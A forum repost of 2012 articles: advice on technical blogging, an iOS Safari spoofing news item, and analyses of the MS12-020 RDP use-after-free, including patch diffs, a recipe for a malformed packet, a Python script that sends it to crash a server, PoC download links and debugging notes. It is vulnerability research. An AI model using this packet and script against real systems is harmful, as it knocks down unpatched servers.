Nytro

[h=1]Why Technical People Should Blog (But Don’t)[/h]on March 20th, 2012 by Major Hayden Sometimes people talk to me about posts I’ve written on my blog, or posts they wish I would write. At some point during the discussion, I’ll almost always ask the person why they don’t start up their own blog or contribute to someone else’s. Very few people actually seem interested when I probe them about writing posts on technical topics. My mother was always the one who told me (and her students) that everyone has a story. She said that writing could be therapeutic in ways you probably won’t consider until you’ve written something that someone else enjoys. Just as software developers exist to write software for their users, writers exist to write stories for their readers. There’s nothing that says technical people can’t become excellent writers who inspire others to learn and share their knowledge with others. The goal of this post is to encourage technical people to enjoy writing, write efficiently and feel comfortable doing it. I’ll roll through some of the most common responses I’ve received about why technical people don’t blog about what they know. I don’t think I’m really an expert on anything. I’m not an authority on any topic I can think of. I’m leading off with this response because it’s the most critical to refute. If you don’t take away anything else from this post, let it be this: you don’t need to be an expert on a topic to write about it. You can find examples of this by rolling through some of the posts on my blog. I’d consider myself to be an expert on one, maybe two topics, but I’ve written over 450 posts in the span of just over five years. I certainly didn’t write all of those about the one or two topics I know best. Write about what you know and don’t be afraid to do a little research to become an authority on something. A great example of this was my post, entitled “Kerberos for haters.” I had almost no expertise in Kerberos. In fact, I couldn’t even configure it properly for my RHCA exam! However, I did a ton of research and began to understand how most of the pieces fit together. Many other people were just as confused and I decided to pack all of the knowledge I had about Kerberos into a blog post. Positive and negative feedback rolled in and it was obvious that my post taught some readers, inspired some others and angered a few. What a great way to lead into the next response: What if I say something that isn’t correct? I’ll look like an idiot in front of the whole internet! Been there, done that. Every writer makes errors and comes up with bad assumptions at least once. Readers will call you out on your mistakes (some do it delicately while others don’t) and it’s your duty to correct your post or correct the reader. I’ve written posts with errors, and I’ve gotten a little lazy on my fact-checking from time to time. As my middle school journalism teacher always reminded me, the most important part of a mistake is what you do to clean it up and learn from it. In short: you’ll make mistakes. As long as you’ve done your due diligence to minimize them and respond to them promptly, your readers should forgive you. Speaking of errors: I’m great at a command prompt but my spelling and grammar are awful. I write terribly. This is easily fixed. If you’re one of those folks who live the do-it-yourself type of lifestyle, pick up a copy of The Elements of Style by Strunk & White. There are free PDF versions online or you can borrow one from your nearest journalist. No matter the situation you’re in, this book has details about where punctuation should and shouldn’t be, how to structure sentences and paragraphs, and how to properly cite your sources (really vital for research posts). Hauling around a copy of an ultra-dry reference book may not be your thing. If that’s the case, find someone you know who has a knack for writing. You can usually find helpful folks in marketing or corporate communications in most big companies who will take your post and return it covered in red ink ready for corrections (thanks, Garrett!). I’ve even spotted some folks on Fiverr who will do this for as low as $5. I’ll wrap up with the second most common response: I don’t know who I’m writing for? What if I write about something simple and the really technical folks think I’m a noob? What if I write something crazy complex and it goes over most people’s heads? I’ve done both of these. Most Linux system administrators worth their salt know how to add and remove iptables rules, and they’d consider it to be pretty trivial work. Would it surprise you to know that out of over 450 posts, my post about deleting a single iptables rule is in the top five most accessed posts per month? I receive just over 11 percent of my monthly hits to this post. People are either learning from it or they can’t remember how to delete the rule and they want to use the post as a quick reference. Either way, the post is valuable to many people even if I think it’s the simplest topic possible. On the flip side, I went nuts and wrote up a complete how-to for a redundant cloud hosting configuration complete with LVS, glusterfs, MySQL on DRBD, memcached, haproxy and ldirectord. I thought it would be valuable knowledge to a few folks but that it might sail over the heads of most of my readers. Again, I was wrong. The post is constantly in the top 10 most visited posts on the blog and I’ve probably received more feedback via comments, email and IRC about that post than any other. Once again, a post I thought would be mostly useless turned into a real conversation starter. Let’s conclude and wrap up. Keep these things in mind if you feel discouraged about writing: • Write about what interests you whether you’re an expert on it or not • Don’t be afraid to fail • Be responsive to your readers • Even if you think nobody will read your post, write it • Always ensure your voice shines through in your writing — this is what makes it special and appealing Sursa: The Official Rackspace Blog - Why Technical People Should Blog (But Don’t)

[h=1]Address spoofing vulnerability in iOS's Safari[/h]20 March 2012, 17:09 Through a vulnerability in WebKit in the mobile version of Safari, an attacker could manipulate the address bar in the browser and lead the user to a malicious site with a fake URL showing above it. The security researcher David Vieira-Kurz has published an advisory which explains the problem. Incorrect handling of the URL when the JavaScript method "window.open()" is used allows an attacker to "own" HTML and JavaScript code in the new window and, in turn, change the address bar of the window. The research demonstrated the vulnerability at majorsecurity.net/html5/ios51-demo.html – a "Demo" button opens a new page that loads in apple.com borderless iframe and also displays apple.com in the addressbar, but the page itself has originated from majorsecurity.net. Fraudsters could use the vulnerability for phishing attacks by sending users to pages which appear to be their bank and asking for account data. The vulnerability affects WebKit 534.46 in the latest iOS version 5.1, though earlier versions of iOS may also exhibit the problem. Users of third party browsers based on WebKit on iOS could also be vulnerable to the address spoofing. Vieira-Kurz informed Apple of the problem in early march. (djwm) Sursa: Address spoofing vulnerability in iOS's Safari - The H Security: News and Features

[h=3]MS12-020 Vulnerability for Breakfast[/h] [h=2]Monday, 19 March 2012[/h] A few days ago Microsoft has released an important update that fixes vulnerabilities in the Remote Desktop Protocol. The update affects a number of the system files such as Rdpcore.dll and RdpWD.sys. Comparison of the files in the disassembled form before and after update reveals the code changes. Let's have a look at the code changes that took place in the driver file RdpWD.sys. But first, what's the role of this file in the Remote Desktop Protocol? When an RDP client connects to the server component of Remote Desktop Services on TCP port 3389, the login and GDI graphics subsystem are initiated in a newly created session. Within that session, the GDI graphics subsystem relies on RDP-specific driver RdpWD.sys - the keyboard and mouse driver that transfers keyboard/mouse events over TCP connection. The driver also creates virtual channels that set up redirection of other hardware devices (disc, audio, printers) - this allows transferring the requested data over the TCP connection. The code modification took place in the function HandleAttachUserReq(). Here is the snippet of the original driver's source code (v6.1.7600.16385 found on 32-bit Windows 7): [TABLE] [TR] [TD=class: content].text:0002F900 lea eax, [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F903 push eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F904 push [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F907 add esi, 74h[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F90A push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F90B call SListRemove[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F910 quit:[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F910 mov al, 1[/TD] [/TR] [/TABLE] Here is the source of the updated driver (v6.1.7600.16963): [TABLE] [TR] [TD=class: content].text:0002F913 lea eax, [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F916 push eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F917 push [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91A add esi, 74h[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91D push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91E call SListRemove[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91E ; <-- ADDED BLOCK[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F923 mov eax, [ebp+P] ; restore pointer in EAX[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F926 cmp eax, ebx ; compare it to NULL[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F928 jz short quit ; if NULL, quit[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F92A cmp [eax+5], bl[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F92D jnz short quit[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F92F push eax ; release the pool[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F930 call WDLIBRT_MemFree[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F935 quit:[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F935 mov al, 1[/TD] [/TR] [/TABLE] As seen in the update, the original code "forgets" to call WDLIBRT_MemFree() function, which is merely a wrapper around ExFreePoolWithTag() - a function that deallocates a block of pool memory: [TABLE] [TR] [TD=class: content].text:00013BA0 WDLIBRT_MemFree proc near ; wrapper for ExFreePoolWithTag()[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0 P = dword ptr 8[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0 mov edi, edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA2 push ebp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA3 mov ebp, esp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA5 push 0 ; Tag is NULL[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA7 push [ebp+P] ; P - pool pointer, passed as an argument[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BAA call ds:ExFreePoolWithTag[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BB0 pop ebp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BB1 retn 4[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BB1 WDLIBRT_MemFree endp[/TD] [/TR] [/TABLE] But how dangerous is the fact that the original code missed the pool memory release? More importantly, if it's admitted to be a bug (hence, the update), can that bug be exploited? As it happens, it can. The reported vulnerability (CVE-2012-0002) is attributed by Microsoft to Luigi Auriemma. Luigi has published an example of a packet that crashes a vulnerable server that runs Remote Desktop Services on TCP port 3389. To see how a typical packet looks like, take a look at the following example from Microsoft: Armed with the annotated field descriptions in the packet dump, let's modify this packet the following way: 1. One of the first inconsistencies to fix is to patch a byte at the offset 0x158 with 0. Indeed, the description states that this field contains 0x00000000 that corresponds to TS_UD_CS_CORE::serverSelectedProtocol. 2. Next, prepend the following bytes to the packet: 03000013 0E E0 0000 0000 00 01 00 0800 00000000 These bytes will encode an RDP connection request: TPKT Header (length = 19 bytes): 03 -> TPKT: TPKT version = 3 00 -> TPKT: Reserved = 0 00 -> TPKT: Packet length - high part 13 -> TPKT: Packet length - low part (total = 19 bytes) X.224 Data TPDU: 0E -> X.224: Length indicator = (14 bytes) E0 -> X.224: Type = 0xE0 = Connection Confirm 00 00 -> X.224: Destination reference = 0 00 00 -> X.224: Source reference = 0 00 -> X.224: Class and options = 0 01 -> RDP Negotiation Message (TYPE_RDP_NEG_REQ) 00 -> flags (0) 08 00 -> RDP_NEG_REQ length (8 bytes) 00 00 00 00 -> RDP_NEG_REQ: Selected protocols (PROTOCOL_RDP) 3. Next, attach user request PDU: 03000008 02f08028 03 00 00 08 -> TPKT Header (length = 8 bytes) 02 f0 80 -> X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) 28 -> PER encoded PDU contents (select attachUserRequest) 4. Find the Connect-Initial::targetParameters header in the packet: 30 19 30 -> ASN.1 BER encoded SequenceOf type. 19 -> length of the sequence data (25 bytes) The header is followed with DomainParameters::maxChannelIds field: 02 01 22 02 -> ASN.1 BER encoded Integer type 01 -> length of the integer (1 byte) 22 -> actual value is 34 (0x22) Replace the old value of maxChannelIds (0x22) with 0 - this byte is located at the packet offset of 0x2C. The final packet dump will look as shown below (selections in yellow reflect the aforementioned changes 1-4): All these modifications of the packet are perfectly legitimate, excepting one: setting maxChannelIds value of the targetParameters to 0. That's probably the only "evil" byte in the whole packet. Can there be a signature reliably constructed to catch such packet (a rhetorical question)? Given the flexibility of BER format (you can BER-encode 0 as 02 01 00, or 02 02 0000, or 02 04 00000000 - that is, using 1, 2, or 4 bytes), is there a reasonably small number of combinations that can potentially assemble a malformed packet with the "evil" byte in it, a number so small that it can be covered with the signatures (another rhetorical question)? Saving the packet dump into packet.bin and running the Python script below will cause BSoD for the target server at %TARGET_IP_ADDRESS%: [TABLE] [TR] [TD=class: number]1[/TD] [TD=class: content]import socket[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]2[/TD] [TD=class: content]f = open('packet.bin', 'r')[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]3[/TD] [TD=class: content]packet = f.read()[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]4[/TD] [TD=class: content]f.close[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]5[/TD] [TD=class: content]s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]6[/TD] [TD=class: content]s.connect(("%TARGET_IP_ADDRESS%", 3389))[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]7[/TD] [TD=class: content]s.send(packet)[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]8[/TD] [TD=class: content]data = s.recv(4096)[/TD] [/TR] [/TABLE] The crush dump can then be loaded into WinDbg debugger to locate the place of the exception. As seen in the crush dump, the error happens in the following instruction that belongs to the function termdd!IcaBufferAllocEx: 8d02c987 mov eax,dword ptr [esi+18h] The instruction at the address 0x8d02c987 attempts to read a pointer (the next instruction references a DWORD pointed by it, and compares its value with 0) from the address 0x0a400620: [TABLE] [TR] [TD=class: content]termdd!IcaBufferAllocEx:[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c96c mov edi,edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c96e push ebp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c96f mov ebp,esp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c971 push ecx[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c972 cmp dword ptr [ebp+14h],19h[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c976 push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c977 push edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c978 mov edi,dword ptr [ebp+8][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c97b sete al[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c97e mov byte ptr [ebp-4],al[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c981 lea eax,[edi-14h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c984 push eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c985 jmp termdd!IcaBufferAllocEx+0x24[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c987 mov eax,dword ptr [esi+18h] ds:0023:0a400620=???????? ; <- ERROR !!![/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c98a cmp dword ptr [eax],0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c98d jne termdd!IcaBufferAllocEx+0x4a[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c98f push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c990 call termdd!IcaGetPreviousSdLink[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c995 mov esi,eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c997 test esi,esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c999 jne termdd!IcaBufferAllocEx+0x1b[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c99b push dword ptr [ebp+1Ch][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c99e push dword ptr [ebp+18h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9a1 push dword ptr [ebp+14h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9a4 push dword ptr [ebp+10h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9a7 push dword ptr [ebp+0Ch][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9aa push edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9ab call termdd!IcaBufferAllocInternal[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b0 pop edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b1 pop esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b2 leave[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b3 ret 18h[/TD] [/TR] [/TABLE] The call stack reveals that the IcaBufferAllocEx() function within termdd.sys is called from RdpWD.sys driver and can be traced back to its NM_Disconnect() call: termdd!IcaBufferAllocEx+0x1b RDPWD!WDICART_IcaBufferAllocEx+0x24 RDPWD!StackBufferAllocEx+0x5c RDPWD!MCSDetachUserRequest+0x29 RDPWD!NMDetachUserReq+0x14 RDPWD!NM_Disconnect+0x16 RDPWD!SM_Disconnect+0x27 RDPWD!SM_OnConnected+0x70 RDPWD!NMAbortConnect+0x23 RDPWD!NM_Connect+0x68 RDPWD!SM_Connect+0x11d RDPWD!WDWConnect+0x557 RDPWD!WDLIB_TShareConfConnect+0xa0 RDPWD!WDSYS_Ioctl+0x6c9 termdd!_IcaCallSd+0x37 termdd!_IcaCallStack+0x57 termdd!IcaDeviceControlStack+0x466 termdd!IcaDeviceControl+0x59 termdd!IcaDispatch+0x13f nt!IofCallDriver+0x63 nt!IopSynchronousServiceTail+0x1f8 nt!IopXxxControlFile+0x6aa nt!NtDeviceIoControlFile+0x2a nt!KiFastCallEntry+0x12a As first reported by Luigi Auriemma, the use-after-free vulnerability is located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet when set to a value less or equal to 5. That field was patched in the example above with 0. According to Luigi, the problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc. The exploit is currently at the DoS (denial-of-service) stage of its evolution. This is bad enough, considering how many web sites are managed remotely via RDP and thus, could potentially be knocked down with a single packet of 443 bytes submitted by an attacker. Unless someone has a crystal ball, it's hard to predict if this bug will ever evolve into a much more thrilling "remote code execution" stage - only time will tell that. posted by Sergei Shevchenko at 3:20 AM Sursa:stratBLOG - stratsec security research: MS12-020 Vulnerability for Breakfast

[h=1]MS12-002 Microsoft Remote Desktop Use-After-Free DoS[/h] This module exploits the MS12-002 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition. [h=1]Rank[/h] Normal [h=1]Authors[/h] Luigi Auriemma < > Daniel Godas-Lopez < > Alex Ionescu < > jduck < jduck [at] metasploit.com > #ms12-020 < > We start by diffing the rdpwd.sys binaries from XP SP3 for ms11-065 and ms11-020. http://technet.microsoft.com/en-us/security/bulletin/ms12-020 http://support.microsoft.com/kb/2621440 http://technet.microsoft.com/en-us/security/bulletin/ms11-065 http://support.microsoft.com/kb/2570222 http://zerodayinitiative.com/advisories/ZDI-12-044/ http://aluigi.org/adv/termdd_1-adv.txt Intrestingly, both idbs had an anlysis mistake at 0x20010, though they were different parts of the code. Manual intervention fixed these and then there were no unmatched functions in bindiff. This was done by undefinng the code before and after the "sp analysis failed" error and then re-defining the defined function (noted by symbols existing) as a procedure. There are four changed functions between the two XP SP3 binaries: 1. HandleAttachUserReq(x,x,x,x) - 0.91 similarity 2. NM_Disconnect(x) - 0.93 similarity 3. NMAbortConnect(x) - 0.98 similarity 4. MCSChannelJoinRequest(x,x,x,x) - 0.99 similarity When making a regular connection via RDP, MCSChannelJoinRequest gets hit several times. Additionally, HandleAttachUserReq gets called once. the other two functions aren't called in this circumstance. On to the differences... NMAbortConnect ============== This is the change (with total context included): --- ms11-065.c 2012-03-14 23:13:35.000000000 -0500 +++ ms12-020.c 2012-03-14 23:13:56.000000000 -0500 @@ -1,6 +1,9 @@ int __stdcall NMAbortConnect(int a1) { if ( *(_BYTE *)(a1 + 28) & 1 ) + { NMDetachUserReq(a1); + *(_DWORD *)(a1 + 28) ^= 1u; + } return SM_OnConnected(*(_DWORD *)a1, 0, 1, 0, 0); } This appears to ensure that some member of the a1 structure gets unset. At this point, the purpose of this flag is not clear. NM_Disconnect ============= This is the change (with total context included): fear:0:~$ diff -C 20 -b ms11-065.c ms12-020.c *** ms11-065.c Wed Mar 14 23:16:14 2012 --- ms12-020.c Wed Mar 14 23:16:21 2012 *************** *** 1,9 **** --- 1,12 ---- signed int __stdcall NM_Disconnect(int a1) { signed int result; // eax@1 result = 1; if ( *(_BYTE *)(a1 + 28) & 1 ) + { result = NMDetachUserReq(a1); + *(_DWORD *)(a1 + 28) ^= 1u; + } return result; } Again, this seems to ensure that the flag is unset whenever NM_Disconnect is called. MCSChannelJoinRequest ===================== This is the change (with total context included): fear:0:~$ diff -U 999 -b ms11-065.c ms12-020.c --- ms11-065.c 2012-03-14 23:18:49.000000000 -0500 +++ ms12-020.c 2012-03-14 23:18:34.000000000 -0500 @@ -1,91 +1,91 @@ signed int __stdcall MCSChannelJoinRequest(int a1, PVOID P, int a3, int a4) { int v4; // esi@1 unsigned int v5; // edi@1 PVOID v6; // ecx@2 unsigned int v8; // ecx@17 int v9; // eax@18 PVOID v10; // eax@22 char v12; // [sp+Ch] [bp-4h]@32 signed int v13; // [sp+18h] [bp+8h]@15 v4 = a1; v5 = (unsigned int)P; *(_BYTE *)a4 = 0; if ( !(unsigned __int8)SListGetByKey(*(_DWORD *)a1 + 48, v5, &P) ) { if ( v5 > 0x3E9 ) return 9; if ( *(_DWORD *)(*(_DWORD *)a1 + 48) > *(_DWORD *)(*(_DWORD *)a1 + 164) ) return 15; if ( v5 ) { v13 = 1; } else { v5 = GetNewDynamicChannel(*(_DWORD *)a1); if ( !v5 ) return 15; v13 = 3; } P = 0; v8 = 0; do { v9 = v8 + *(_DWORD *)v4; if ( !*(_BYTE *)(v9 + 425) ) { P = (PVOID)(v9 + 368); *(_BYTE *)(v9 + 425) = 1; } v8 += 64; } while ( v8 < 0x140 ); if ( !P ) { v10 = ExAllocatePoolWithTag(PagedPool, 0x40u, 0x636D5354u); P = v10; if ( !v10 ) return 11; *((_BYTE *)v10 + 56) = 0; } *((_DWORD *)P + 15) = v5; *((_DWORD *)P + 13) = v13; if ( (unsigned __int8)SListAppend(*(_DWORD *)v4 + 48, v5, P) ) { SListInit(P, 2); v6 = P; goto LABEL_32; } if ( *((_BYTE *)P + 56) ) *((_BYTE *)P + 57) = 0; else ExFreePoolWithTag(P, 0); return 11; } v6 = P; if ( *((_DWORD *)P + 13) == 1 ) goto LABEL_32; if ( *((_DWORD *)P + 13) == 2 ) { - if ( *((_DWORD *)P + 15) == v5 ) + if ( *((_DWORD *)P + 15) == *(_DWORD *)(a1 + 12) ) goto LABEL_32; return 16; } if ( *((_DWORD *)P + 13) != 3 ) { if ( *((_DWORD *)P + 13) == 4 ) return 1; return 11; } LABEL_32: if ( (unsigned __int8)SListGetByKey(v4 + 16, v6, &v12) ) return 21; if ( !(unsigned __int8)SListAppend(v4 + 16, P, P) || !(unsigned __int8)SListAppend(P, v4, v4) ) return 11; if ( *(_BYTE *)(*(_DWORD *)v4 + 16) & 0x20 ) *(_BYTE *)a4 = 1; *(_DWORD *)a3 = P; return 0; } Rather than check against v5, the function has been modified to check against the member a1+0xc. HandleAttachUserReq =================== This is the change (with total context included): fear:0:~$ diff -U 999 -b ms11-065.c ms12-020.c --- ms11-065.c 2012-03-14 23:22:16.000000000 -0500 +++ ms12-020.c 2012-03-14 23:23:49.000000000 -0500 @@ -1,33 +1,40 @@ char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3 - int v6; // [sp-8h] [bp-18h]@3 - char v7; // [sp+4h] [bp-Ch]@3 - int v8; // [sp+8h] [bp-8h]@3 - int v9; // [sp+Ch] [bp-4h]@2 + int v6; // [sp-4h] [bp-18h]@3 + char v7; // [sp+8h] [bp-Ch]@3 + int v8; // [sp+Ch] [bp-8h]@3 + int v9; // [sp+10h] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9) < 0 ) + { SListRemove(v3 + 112, v8, &v8); + if ( v8 ) + { + if ( !*(_BYTE *)(v8 + 5) ) + ExFreePoolWithTag((PVOID)v8, 0); + } + } } return 1; } The first thing that jumps out is that the stack layout has changed. In particular, v6 is now located 4 bytes later in the stack. This pushes everything else down too. This generally indicates the addition of a local variable, but no such variable was found in the new code. In fact, the reason for this is that the "ebx" register is now saved on the stack a bit earlier. This has no effect on the program's behavior. The second change is that was added is checking of the output parameter (v8) from SListRemove. Previously, the return value was ignored. If the return value is set, the new version will check a that the byte at offset 5 is zero. If so, it will free the returned pointer. This change isn't likely to be directly related to the vulnerability. They have sad the issue was an uninitialized memory or user-after-free type issue. Adding a free is not indicative of such an issue. This is more likely to be a memory consumption issue (memory leak). This could possibly be the DoS vuln as many have postulated. After reviewing the changes, it's clear that HandleAttachReq is not the issue. The other changes look much more like a potential use-after free could be caused. It is likely that triggering such a condition would require traversing a code path that does something with the flag value that is being reset. Using FreeRDP as referenced in the fake python POC also triggers the same two changed functions. It does not trigger them as many times. External links discovered by various people: Patch diffing http://exploitshop.wordpress.com/2012/03/13/ms12-020-vulnerabilities-in-remote-desktop-could-allow-remote-code-execution/ http://blog.binaryninjas.org/?p=58 https://twitter.com/#!/vessial/status/179839003720302592/photo/1/large http://ocean.inseclab.org/2012/03/15/ms12-020-part-1/ PoC from china (unconfirmed, possible) http://www.forgeting.com/archives/601.html http://www.wooyun.org/bugs/wooyun-2010-05264 http://www.ybhacker.com/index.php/post-54.html - links to download of the fake exploit PoC from china (unconfirmed, plausible) http://cq-cser.cn/2012/03/2012-0002/ http://hi.baidu.com/wordexp/blog/item/83afd3ec575192ce2e2e2113.html PoC from china (confirmed fake) http://pastebin.com/jZt9gmD5 http://pastebin.com/fFWkezQH http://www.9170.org/post-421.html - these are probably fake, see: - http://downloads.securityfocus.com/vulnerabilities/exploits/31874.py - from: http://www.securityfocus.com/bid/31874 FreeRDP related links https://github.com/FreeRDP/FreeRDP/blob/master/libfreerdp-core/mcs.c https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation http://www.freerdp.com/api/connection_8c.html http://www.freerdp.com/api/structrdp__rdp.html Microsoft Documentation Link http://msdn.microsoft.com/en-us/library/cc240469(v=prot.10).aspx Bounty link (joke?) http://gun.io/open/48/metasploit-module-for-cve-2012-002 3/15 - Working PoC found ! 11:36 < gabrielpato> download link: http://115.com/file/be27pff7 This PoC has been confirmed to cause a blue screen on a patched to ms11-065 Windows XP SP3. The command line to try is: rdpclient.exe <host> -v 10 The crash from http://cq-cser.cn/2012/03/2012-0002/ is likely related to this. The next steps are: 1. Fully understand why the crash is occurring - Further decode in PoC @ http://pastie.org/private/feg8du0e9kfagng4rrg 2. Determine methods for getting a crash reliably (currently the PoC doesn't always cause a crash) 3. Craft an open source version of the trigger (instead of this binary rdpclient.exe) 4. Determine mechanisms for sculpting heap memory to get control breakpoints ============ NOTE: These breakpoints are for the ms11-065 rdpwd.sys (5.1.2600.6128, md5: fc105dd312ed64eb66bff111e8ec6eac) Save the below script to "bp.wdbg" and run with: C:\windbg\x86\windbg.exe -b -k com:pipe,port=\\.\pipe\com_1,resets=0 -y c:\symbols -c $<C:\ms12-020\bps.wdbg ============ .reload bp rdpwd+1b5d0 ".printf \"MCSChannelJoinRequest(0x%x, 0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c), poi(esp+10);g" bp rdpwd+1cb32 ".printf \"HandleAttachUserReq(0x%x, 0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c), poi(esp+10);g" bp rdpwd+51b0 ".printf \"NM_Disconnect(0x%x)\\n\", poi(esp+4);g" bp rdpwd+56cc ".printf \"NMAbortConnect(0x%x)\\n\", poi(esp+4);g" bp rdpwd+1c0ee ".printf \"SListRemove(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" bp rdpwd+1c0a2 ".printf \"SListAppend(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" bp rdpwd+1bfd8 ".printf \"SListDestroy(0x%x)\\n\", poi(esp+4);g" bp rdpwd+1c1bc ".printf \"SListGetByKey(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" bp rdpwd+1bfae ".printf \"SListInit(0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8);g" bp rdpwd+1c166 ".printf \"SListRemoveFirst(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" g ============ annotated output (thx alfredo): http://pastie.org/private/54eydgcmiklarqgp9ds9wa LOL the leaked rar rdpclient.exe contains 